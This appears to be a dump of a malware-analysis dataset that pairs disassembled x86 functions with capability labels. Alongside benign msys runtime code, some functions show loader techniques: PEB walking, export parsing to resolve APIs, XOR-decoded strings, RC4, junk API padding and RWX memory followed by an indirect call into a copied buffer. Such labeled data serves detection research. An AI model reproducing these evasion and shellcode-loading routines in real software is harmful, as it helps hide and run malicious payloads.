joyce8/EMBER2024-capa huggingface dataset:
Function at 0x405910
Capabilities:
Set current directory

Disassembly:
push esi
push ebx
mov ebx, eax
sub esp, 0x14
mov eax, dword [eax + 0x28]
mov esi, eax
and esi, 4
jne 0x405971
test ah, 2
jne 0x405950
mov eax, dword [ebx + 0x14]
mov dword [esp], eax
call sub.msys_2.0.dll_fchdir
test eax, eax
setne al
movzx eax, al
mov esi, eax
lea eax, [ebx + 0x34]
call fcn.00405870
add esp, 0x14
mov eax, esi
pop ebx
pop esi
ret
mov eax, ebx
mov ecx, 1
mov edx, 0xfffffffe
call fcn.004058b0
lea eax, [ebx + 0x34]
call fcn.00405870
add esp, 0x14
mov eax, esi
pop ebx
pop esi
ret
lea eax, [ebx + 0x34]
xor esi, esi
call fcn.00405870
add esp, 0x14
mov eax, esi
pop ebx
pop esi
ret

Function at 0x405ae0
Capabilities:
Set current directory

Disassembly:
push ebp
push edi
mov ebp, eax
push esi
push ebx
mov ebx, ecx
sub esp, 0x8c
mov eax, dword [esp + 0xa0]
mov dword [esp + 0x18], edx
test eax, eax
je 0x405b60
mov esi, dword [esp + 0xa0]
mov edi, 0x40caa0
mov ecx, 3
repe cmpsb byte [esi], byte es:[edi]
jne 0x405b60
mov esi, dword [ebp + 0x28]
test esi, 4
jne 0x405b6b
test ebx, ebx
jns 0x405c96
test esi, 0x200
jne 0x405c14
mov byte [esp + 0x1f], 1
mov eax, dword [ebp + 0x18]
mov ecx, dword [esp + 0xa0]
mov edx, esi
call fcn.00405a80
test eax, eax
mov edi, eax
jns 0x405baf
mov esi, 0xffffffff
add esp, 0x8c
mov eax, esi
pop ebx
pop esi
pop edi
pop ebp
ret
mov esi, dword [ebp + 0x28]
test esi, 4
je 0x405ba0
and esi, 0x200
je 0x405c05
test ebx, ebx
js 0x405c05
mov dword [esp], ebx
xor esi, esi
call sub.msys_2.0.dll_close
add esp, 0x8c
mov eax, esi
pop ebx
pop esi
pop edi
pop ebp
ret
test ebx, ebx
js 0x405ca2
mov edi, ebx
mov byte [esp + 0x1f], 0
lea eax, [esp + 0x20]
mov dword [esp], edi
mov dword [esp + 4], eax
call sub.msys_2.0.dll__fstat64
test eax, eax
mov esi, eax
jne 0x405bdd
mov ecx, dword [esp + 0x18]
mov edx, dword [esp + 0x20]
cmp dword [ecx + 0x40], edx
je 0x405c45
call sub.msys_2.0.dll___errno
mov dword [eax], 2
mov esi, 0xffffffff
test ebx, ebx
jns 0x405b52
call sub.msys_2.0.dll___errno
mov ebx, dword [eax]
mov dword [esp], edi
call sub.msys_2.0.dll_close
call sub.msys_2.0.dll___errno
mov dword [eax], ebx
jmp 0x405b52
add esp, 0x8c
xor esi, esi
pop ebx
mov eax, esi
pop esi
pop edi
pop ebp
ret
lea edi, [ebp + 0x34]
mov dword [esp], edi
call fcn.00408a70
test al, al
mov byte [esp + 0x1f], al
jne 0x405b36
mov dword [esp], edi
call fcn.00408ac0
test eax, eax
mov edi, eax
js 0x405c89
mov ebx, eax
mov byte [esp + 0x1f], 1
jmp 0x405baf
mov eax, dword [ecx + 0x48]
mov edx, dword [ecx + 0x4c]
xor eax, dword [esp + 0x28]
xor edx, dword [esp + 0x2c]
or edx, eax
jne 0x405bd2
test byte [ebp + 0x29], 2
jne 0x405c70
mov dword [esp], edi
call sub.msys_2.0.dll_fchdir
mov esi, eax
jmp 0x405be2
movzx ecx, byte [esp + 0x1f]
mov edx, edi
mov eax, ebp
xor ecx, 1
movzx ecx, cl
call fcn.004058b0
jmp 0x405b52
mov esi, dword [ebp + 0x28]
mov byte [esp + 0x1f], 1
jmp 0x405b36
mov edi, ebx
mov byte [esp + 0x1f], 1
jmp 0x405baf
mov byte [esp + 0x1f], 0
jmp 0x405b36
Function at 0x406af0
Capabilities:
Set current directory

Disassembly:
push esi
push ebx
sub esp, 0x14
mov esi, dword [esp + 0x20]
mov eax, dword [esi]
test eax, eax
je 0x406b38
mov ecx, dword [eax + 0x30]
test ecx, ecx
jns 0x406b21
jmp 0x406b2d
mov dword [esp], eax
call sub.msys_2.0.dll_free
mov edx, dword [ebx + 0x30]
mov eax, ebx
test edx, edx
js 0x406b30
mov ebx, dword [eax + 8]
test ebx, ebx
jne 0x406b10
mov ebx, dword [eax + 4]
jmp 0x406b10
mov ebx, eax
nop
mov dword [esp], ebx
call sub.msys_2.0.dll_free
mov eax, dword [esi + 4]
test eax, eax
je 0x406b44
call fcn.00405830
mov eax, dword [esi + 8]
mov dword [esp], eax
call sub.msys_2.0.dll_free
mov eax, dword [esi + 0x10]
mov dword [esp], eax
call sub.msys_2.0.dll_free
mov eax, dword [esi + 0x28]
test ah, 2
je 0x406bc0
mov eax, dword [esi + 0x18]
test eax, eax
js 0x406b79
mov dword [esp], eax
call sub.msys_2.0.dll_close
test eax, eax
jne 0x406c10
xor ebx, ebx
lea eax, [esi + 0x34]
call fcn.00405870
mov eax, dword [esi + 0x2c]
test eax, eax
je 0x406b92
mov dword [esp], eax
call fcn.00408490
test dword [esi + 0x28], 0x102
mov eax, dword [esi + 0x30]
je 0x406be4
test eax, eax
je 0x406baa
mov dword [esp], eax
call fcn.00408490
mov dword [esp], esi
call sub.msys_2.0.dll_free
test ebx, ebx
jne 0x406c1c
add esp, 0x14
mov eax, ebx
pop ebx
pop esi
ret
test al, 4
jne 0x406b79
mov eax, dword [esi + 0x14]
mov dword [esp], eax
call sub.msys_2.0.dll_fchdir
test eax, eax
jne 0x406bee
mov eax, dword [esi + 0x14]
mov dword [esp], eax
call sub.msys_2.0.dll_close
test eax, eax
je 0x406b79
jmp 0x406c10
mov dword [esp], eax
call sub.msys_2.0.dll_free
jmp 0x406baa
call sub.msys_2.0.dll___errno
mov ebx, dword [eax]
mov eax, dword [esi + 0x14]
mov dword [esp], eax
call sub.msys_2.0.dll_close
test ebx, ebx
jne 0x406b7b
test eax, eax
je 0x406b7b
call sub.msys_2.0.dll___errno
mov ebx, dword [eax]
jmp 0x406b7b
call sub.msys_2.0.dll___errno
mov dword [eax], ebx
mov ebx, 0xffffffff
jmp 0x406bb6
Function at 0x408ac0
Capabilities:
Query environment variable

Disassembly:
push esi
push ebx
sub esp, 4
mov ecx, dword [esp + 0x10]
cmp byte [ecx + 0x1c], 0
jne 0x408afa
mov edx, dword [ecx + 0x14]
mov esi, dword [ecx + 0x10]
lea ebx, [ecx + edx*4]
mov eax, dword [ebx]
mov dword [ebx], esi
cmp edx, dword [ecx + 0x18]
je 0x408af0
add edx, 3
and edx, 3
mov dword [ecx + 0x14], edx
add esp, 4
pop ebx
pop esi
ret
mov byte [ecx + 0x1c], 1
add esp, 4
pop ebx
pop esi
ret
call sub.msys_2.0.dll_abort
nop

Function at 0x408b00
Capabilities:
Query environment variable

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0
call sub.msys_2.0.dll_nl_langinfo
test eax, eax
je 0x408ca1
mov edi, str.US_ASCII
mov ecx, 9
mov esi, eax
repe cmpsb byte [esi], byte es:[edi]
mov ebp, eax
je 0x408bb0
mov ebx, dword [0x4121b4]
test ebx, ebx
je 0x408c20
movzx esi, byte [ebx]
mov eax, esi
test al, al
jne 0x408b69
jmp 0x408b93
lea ebx, [ebx + edi + 1]
mov dword [esp], ebx
call sub.msys_2.0.dll_strlen
lea ebx, [ebx + eax + 1]
movzx esi, byte [ebx]
mov eax, esi
test al, al
je 0x408b93
mov dword [esp], ebx
call sub.msys_2.0.dll_strlen
mov edi, eax
mov dword [esp + 4], ebx
mov dword [esp], ebp
call sub.msys_2.0.dll_strcmp
test eax, eax
je 0x408b8f
mov eax, esi
cmp al, 0x2a
jne 0x408b50
cmp byte [ebx + 1], 0
jne 0x408b50
lea ebp, [ebx + edi + 1]
cmp byte [ebp], 0
mov eax, str.ASCII
cmove ebp, eax
add esp, 0x1c
mov eax, ebp
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp], str.LC_ALL
call sub.msys_2.0.dll_getenv
test eax, eax
je 0x408bc5
cmp byte [eax], 0
jne 0x408c40
mov dword [esp], str.LC_CTYPE
call sub.msys_2.0.dll_getenv
test eax, eax
je 0x408bda
cmp byte [eax], 0
jne 0x408c40
mov dword [esp], str.LANG
call sub.msys_2.0.dll_getenv
test eax, eax
je 0x408bef
cmp byte [eax], 0
jne 0x408c40
call dword [sym.imp.KERNEL32.dll_GetACP]
mov dword [esp + 4], str.CP_u
mov dword [esp + 8], eax
mov ebp, 0x4121a4
mov dword [esp], 0x4121a4
call sub.msys_2.0.dll_sprintf
mov ebx, dword [0x4121b4]
test ebx, ebx
jne 0x408b3f
mov dword [0x4121b4], str.CP936
mov edi, 5
mov esi, 0x43
mov ebx, str.CP936
jmp 0x408b73
mov dword [esp + 4], 0x2e
mov dword [esp], eax
call sub.msys_2.0.dll_strchr
test eax, eax
je 0x408bef
lea ebp, [eax + 1]
mov dword [esp + 4], 0x40
mov dword [esp], ebp
call sub.msys_2.0.dll_strchr
test eax, eax
je 0x408b9f
sub eax, ebp
cmp eax, 0xc
mov ebx, eax
ja 0x408bef
mov dword [esp + 4], ebp
mov dword [esp + 8], eax
mov ebp, 0x4121a4
mov dword [esp], 0x4121a4
call sub.msys_2.0.dll_memcpy
mov byte [ebx + 0x4121a4], 0
jmp 0x408b9f
mov ebp, 0x40cbe8
jmp 0x408b31
Function at 0x401070
Capabilities:
Access peb ldr_data

Disassembly:
push esi
sub eax, eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x1c]
lodsd eax, dword [esi]
mov eax, dword [eax + 8]
pop esi
ret

Function at 0x401158
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [edi + 0x3c]
and dword [ebp - 4], 0
push ebx
push esi
mov esi, dword [eax + edi + 0x78]
add esi, edi
cmp dword [esi + 0x18], 0
jbe 0x4011a0
mov ebx, dword [esi + 0x20]
add ebx, edi
or ebx, ebx
je 0x401192
mov eax, dword [ebx]
push 0xffffffffffffffff
push 0xffffffffffffffff
add eax, edi
push eax
push dword [ebp + 8]
call fcn.0040109e
add esp, 0x10
or eax, eax
je 0x4011a6
inc dword [ebp - 4]
mov eax, dword [ebp - 4]
sub ebx, 0xfffffffc
cmp eax, dword [esi + 0x18]
jb 0x401176
sub eax, eax
pop esi
pop ebx
leave
ret
mov ecx, dword [ebp - 4]
mov eax, dword [esi + 0x24]
lea eax, [eax + ecx*2]
movzx eax, word [eax + edi]
mov ecx, dword [esi + 0x1c]
lea eax, [ecx + eax*4]
mov eax, dword [eax + edi]
add eax, edi
jmp 0x4011a2

Function at 0x4011c0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x401050]
xor eax, ebp
mov dword [ebp - 4], eax
push edi
mov dword [ebp - 0x24], 0xfafff1d2
mov dword [ebp - 0x20], 0xecfcf7d2
mov dword [ebp - 0x1c], 0xdbe7ecff
mov word [ebp - 0x18], 0xdfe6
mov byte [ebp - 0x16], 0
mov dword [ebp - 0x14], 0xceeafbd9
mov dword [ebp - 0x10], 0xdffdf1ec
mov dword [ebp - 0xc], 0xfbecfafa
mov word [ebp - 8], 0xeded
mov byte [ebp - 6], 0
call fcn.00401070
push eax
pop edi
sub eax, eax
xor byte [ebp + eax - 0x14], 0x9e
inc eax
cmp eax, 0xe
jb 0x401218
sub eax, eax
xor byte [ebp + eax - 0x24], 0x9e
inc eax
cmp eax, 0xe
jb 0x401225
lea eax, [ebp - 0x14]
push eax
call fcn.00401158
mov dword [0x402fa4], eax
lea eax, [ebp - 0x24]
push eax
call fcn.00401158
pop ecx
pop ecx
mov ecx, dword [ebp - 4]
xor ecx, ebp
mov dword [0x402fa8], eax
pop edi
call fcn.00402d2a
leave
ret
Function at 0x40125b
Capabilities:
Encrypt data using rc4 ksa
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x410
mov eax, dword [0x401050]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [ebp + 0xc]
mov dword [ebp - 0x40c], eax
mov eax, dword [ebp + 0x14]
push esi
push edi
mov dword [ebp - 0x410], eax
sub edi, edi
sub eax, eax
mov dword [ebp + eax*4 - 0x404], eax
inc eax
cmp eax, 0x100
jl 0x40128a
sub ecx, ecx
sub edx, edx
push ecx
pop eax
div dword [ebp - 0x410]
lea esi, [ebp + ecx*4 - 0x404]
movzx eax, byte [edx + ebx]
add eax, dword [esi]
add edi, eax
and edi, 0x800000ff
jns 0x4012c4
dec edi
or edi, 0xffffff00
inc edi
mov al, byte [esi]
mov byte [ebp - 0x405], al
lea eax, [ebp + edi*4 - 0x404]
mov edx, dword [eax]
mov dword [esi], edx
movzx edx, byte [ebp - 0x405]
inc ecx
mov dword [eax], edx
cmp ecx, 0x100
jl 0x40129b
sub ebx, ebx
cmp dword [ebp + 0x10], ebx
jbe 0x401360
add ecx, 0x1a
and ecx, 0x800000ff
jns 0x401303
dec ecx
or ecx, 0xffffff00
inc ecx
lea eax, [ebp + ecx*4 - 0x404]
mov edx, dword [eax]
add edi, edx
and edi, 0x800000ff
jns 0x40131e
dec edi
or edi, 0xffffff00
inc edi
lea esi, [ebp + edi*4 - 0x404]
mov byte [ebp - 0x405], dl
mov edx, dword [esi]
mov dword [eax], edx
movzx edx, byte [ebp - 0x405]
mov dword [esi], edx
mov eax, dword [eax]
mov esi, dword [ebp - 0x40c]
add eax, edx
and eax, 0x800000ff
jns 0x401350
dec eax
or eax, 0xffffff00
inc eax
mov al, byte [ebp + eax*4 - 0x404]
xor byte [esi + ebx], al
inc ebx
cmp ebx, dword [ebp + 0x10]
jb 0x4012f0
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x40c]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00402d2a
leave
ret
Function at 0x402d2a
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x401050]
jne 0x402d34
repz ret
jmp 0x402e03
nop
nop
push ebp
mov ebp, esp
sub esp, 0x328
mov dword [0x4030b8], eax
mov dword [0x4030b4], ecx
mov dword [0x4030b0], edx
mov dword [0x4030ac], ebx
mov dword [0x4030a8], esi
mov dword [0x4030a4], edi
mov word [0x4030d0], ss
mov word [0x4030c4], cs
mov word [0x4030a0], ds
mov word [0x40309c], es
mov word [0x403098], fs
mov word [0x403094], gs
pushfd
pop dword [0x4030c8]
mov eax, dword [ebp]
mov dword [0x4030bc], eax
mov eax, dword [ebp + 4]
mov dword [0x4030c0], eax
lea eax, [ebp + 8]
mov dword [0x4030cc], eax
mov eax, dword [ebp - 0x320]
mov dword [0x403008], 0x10001
mov eax, dword [0x4030c0]
mov dword [0x402fbc], eax
mov dword [0x402fb0], 0xc0000409
mov dword [0x402fb4], 1
mov eax, dword [0x401050]
mov dword [ebp - 0x328], eax
mov eax, dword [0x401054]
mov dword [ebp - 0x324], eax
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x403000], eax
push 1
call fcn.00402f09
pop ecx
push 0
call dword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
push 0x401060
call dword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x403000], 0
jne 0x402ef5
push 1
call fcn.00402f09
pop ecx
push 0xc0000409
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
leave
ret

Function at 0x402e03
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x401050]
jne 0x402d34
repz ret
jmp 0x402e03
nop
nop
push ebp
mov ebp, esp
sub esp, 0x328
mov dword [0x4030b8], eax
mov dword [0x4030b4], ecx
mov dword [0x4030b0], edx
mov dword [0x4030ac], ebx
mov dword [0x4030a8], esi
mov dword [0x4030a4], edi
mov word [0x4030d0], ss
mov word [0x4030c4], cs
mov word [0x4030a0], ds
mov word [0x40309c], es
mov word [0x403098], fs
mov word [0x403094], gs
pushfd
pop dword [0x4030c8]
mov eax, dword [ebp]
mov dword [0x4030bc], eax
mov eax, dword [ebp + 4]
mov dword [0x4030c0], eax
lea eax, [ebp + 8]
mov dword [0x4030cc], eax
mov eax, dword [ebp - 0x320]
mov dword [0x403008], 0x10001
mov eax, dword [0x4030c0]
mov dword [0x402fbc], eax
mov dword [0x402fb0], 0xc0000409
mov dword [0x402fb4], 1
mov eax, dword [0x401050]
mov dword [ebp - 0x328], eax
mov eax, dword [0x401054]
mov dword [ebp - 0x324], eax
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x403000], eax
push 1
call fcn.00402f09
pop ecx
push 0
call dword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
push 0x401060
call dword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x403000], 0
jne 0x402ef5
push 1
call fcn.00402f09
pop ecx
push 0xc0000409
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
leave
ret
Function at 0x423f85
Capabilities:
Copy file
Set console window title

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x840
push esi
shr edx, 3
xor esi, esi
cmp edx, esi
jbe 0x4240ab
push ebx
push edi
mov ebx, ecx
mov dword [ebp - 8], edx
cmp dword [0x825c6c], 0xae9
jne 0x424093
lea eax, [ebp - 0x10]
push eax
push esi
mov dword [ebp - 0x10], esi
call dword [sym.imp.KERNEL32.dll_GetProcessHeaps]
xor eax, eax
mov word [ebp - 4], ax
lea edi, [ebp - 2]
stosw word es:[edi], ax
mov word [ebp - 0xc], ax
lea edi, [ebp - 0xa]
stosw word es:[edi], ax
lea eax, [ebp - 0x2c]
push eax
push dword [ebp - 0xc]
lea eax, [ebp - 0x20]
push dword [ebp - 4]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputA]
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x440]
push eax
push 0x4012f8
call dword [sym.imp.KERNEL32.dll_DnsHostnameToComputerNameA]
push esi
call dword [sym.imp.KERNEL32.dll_HeapLock]
push esi
call dword [sym.imp.KERNEL32.dll_AddRefActCtx]
lea eax, [ebp - 0x14]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ActivateActCtx]
push esi
lea eax, [ebp - 0x1c]
push eax
push esi
lea eax, [ebp - 0x840]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleA]
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthA]
push esi
push 0x401328
push 0x401350
call dword [sym.imp.KERNEL32.dll_CopyFileW]
push esi
push esi
push 0x401360
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
push esi
lea eax, [ebp - 0x18]
push eax
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push esi
call dword [sym.imp.KERNEL32.dll_SetConsoleTitleW]
push esi
push esi
push esi
push 0x4013a0
push 0x4013b8
push esi
call dword [sym.imp.KERNEL32.dll_UpdateResourceA]
call dword [sym.imp.KERNEL32.dll_GetLastError]
lea eax, [ebp - 0x40]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetCPInfo]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EndUpdateResourceW]
mov edx, dword [ebp + 8]
mov ecx, ebx
call fcn.00423653
add ebx, 8
dec dword [ebp - 8]
jne 0x423fa3
pop edi
pop ebx
pop esi
leave
ret 4
Function at 0x4240b7
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get geographical location

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x838
push ebx
push esi
push edi
push 0x4013d8
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x4013e8
push eax
mov dword [0x825c58], eax
call esi
push 0x4013f4
push dword [0x825c58]
mov dword [0x825c50], eax
call esi
push dword [0x825c6c]
xor esi, esi
push esi
mov dword [0x822a30], eax
call dword [0x825c50]
lea ecx, [ebp - 4]
push ecx
push 0x40
push dword [0x825c6c]
mov dword [0x822a48], eax
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edi, edi
cmp edi, 0x85b4
jge 0x424147
push dword [ebp - 4]
push dword [ebp - 8]
push esi
call dword [sym.imp.USER32.dll_RealChildWindowFromPoint]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_GetAltTabInfoA]
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetGeoInfoW]
cmp edi, 0x11c825e
jg 0x42416c
inc edi
mov eax, edi
cdq
cmp edx, 0x3f
jl 0x424121
jg 0x42416c
cmp eax, 0x45b08f85
jb 0x424121
mov eax, dword [0x42eb0c]
mov dword [0x88d8fc], eax
xor eax, eax
cmp dword [0x825c6c], esi
jbe 0x42419f
mov ecx, dword [0x88d8fc]
mov cl, byte [ecx + eax + 0xb2d3b]
mov edx, dword [0x822a48]
mov byte [edx + eax], cl
inc eax
cmp eax, dword [0x825c6c]
jb 0x424180
xor edi, edi
mov eax, dword [0x825c6c]
add eax, edi
cmp eax, 0x5e
jne 0x4241d5
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_HeapSize]
push esi
lea eax, [ebp - 0x438]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetAtomNameA]
push esi
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
inc edi
cmp edi, 0xa69b
jl 0x4241a1
mov edx, dword [0x825c6c]
mov ecx, dword [0x822a48]
push 0x42e008
call fcn.00423f85
xor eax, eax
cmp eax, 0x59d8
jne 0x424207
mov ecx, 0x822a48
call fcn.004240b0
inc eax
cmp eax, 0x356d83
jl 0x4241f6
push 0x7b
pop ebx
cmp dword [0x825c6c], 0x54d
jne 0x424251
xor eax, eax
mov dword [ebp - 0x1c], esi
lea edi, [ebp - 0x18]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x38]
push eax
push 0x401404
call dword [sym.imp.KERNEL32.dll_BuildCommDCBAndTimeoutsA]
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLCID]
push esi
lea eax, [ebp - 0x838]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryW]
dec ebx
jne 0x424212
mov eax, dword [0x822a48]
mov dword [0x825c60], eax
call eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x424265
Capabilities:
Create thread
Get disk size
Get hostname
Manipulate console buffer
Set environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xe7c
cmp dword [0x825c6c], 0x598
jne 0x4242ac
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 8]
push eax
push 0x401410
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceA]
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
push 0
call fcn.00424971
pop ecx
call fcn.0042478a
push ebx
push esi
mov esi, 0xa4808
xor ebx, ebx
push edi
cmp dword [0x825c6c], 0x57c
jne 0x424363
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push ebx
push ebx
lea eax, [ebp - 0xe7c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasW]
push 0x30
lea eax, [ebp - 0x48]
push ebx
push eax
mov dword [ebp - 0x4c], ebx
call fcn.004249e0
add esp, 0xc
lea eax, [ebp - 0x4c]
push eax
push ebx
push 0x401430
call dword [sym.imp.KERNEL32.dll_CommConfigDialogW]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
lea eax, [ebp - 0x67c]
push eax
push ebx
push 0x4014bc
call dword [sym.imp.KERNEL32.dll_GetFileAttributesExA]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
lea eax, [ebp - 0x27c]
push eax
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCPInfoExA]
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetMailslotInfo]
lea eax, [ebp - 0xf8]
push eax
call dword [sym.imp.KERNEL32.dll_GetTimeZoneInformation]
xor eax, eax
mov word [ebp - 4], ax
lea edi, [ebp - 2]
stosw word es:[edi], ax
lea eax, [ebp - 8]
push eax
push dword [ebp - 4]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_WriteConsoleOutputCharacterW]
dec esi
jne 0x4242b6
mov eax, dword [0x42fabc]
add eax, 0xb2d3b
mov dword [0x825c6c], eax
mov eax, 0x431bc0
lea edx, [eax + 1]
pop edi
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x424382
sub eax, edx
cmp eax, 0x1515
jne 0x4243f0
push ebx
push ebx
push ebx
lea eax, [ebp - 0x27c]
push eax
call dword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
lea eax, [ebp - 0x10]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_SetConsoleCursorInfo]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetProcessAffinityMask]
lea eax, [ebp - 0x160]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
lea eax, [ebp - 8]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
push ebx
push ebx
call fcn.0042456f
push ebx
push ebx
call fcn.0042452f
push ebx
call fcn.00424971
add esp, 0x14
call fcn.004240b7
pop esi
xor eax, eax
pop ebx
leave
ret 0x10

Function at 0x424f80
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x430e4c]
jne 0x424f8a
repz ret
jmp fcn.00428af7
Function at 0x42a3a2
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00425b1b
and dword [ebp - 4], 0
cmp dword [0x88e3e0], 0
mov ebx, eax
jne 0x42a453
push 0x402d14
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x42a504
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x402d08
push edi
call esi
test eax, eax
je 0x42a504
push eax
call fcn.00425aa9
mov dword [esp], 0x402cf8
push edi
mov dword [0x88e3e0], eax
call esi
push eax
call fcn.00425aa9
mov dword [esp], 0x402ce4
push edi
mov dword [0x88e3e4], eax
call esi
push eax
call fcn.00425aa9
mov dword [esp], 0x402cc8
push edi
mov dword [0x88e3e8], eax
call esi
push eax
call fcn.00425aa9
pop ecx
mov dword [0x88e3f0], eax
test eax, eax
je 0x42a453
push 0x402cb0
push edi
call esi
push eax
call fcn.00425aa9
pop ecx
mov dword [0x88e3ec], eax
mov eax, dword [0x88e3ec]
cmp eax, ebx
je 0x42a4ab
cmp dword [0x88e3f0], ebx
je 0x42a4ab
push eax
call fcn.00425b24
push dword [0x88e3f0]
mov esi, eax
call fcn.00425b24
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x42a4ab
test edi, edi
je 0x42a4ab
call esi
test eax, eax
je 0x42a4a2
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x42a4a2
test byte [ebp - 0xc], 1
jne 0x42a4ab
or dword [ebp + 0x10], 0x200000
jmp 0x42a4e4
mov eax, dword [0x88e3e4]
cmp eax, ebx
je 0x42a4e4
push eax
call fcn.00425b24
pop ecx
test eax, eax
je 0x42a4e4
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x42a4e4
mov eax, dword [0x88e3e8]
cmp eax, ebx
je 0x42a4e4
push eax
call fcn.00425b24
pop ecx
test eax, eax
je 0x42a4e4
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x88e3e0]
call fcn.00425b24
pop ecx
test eax, eax
je 0x42a504
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x42a506
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret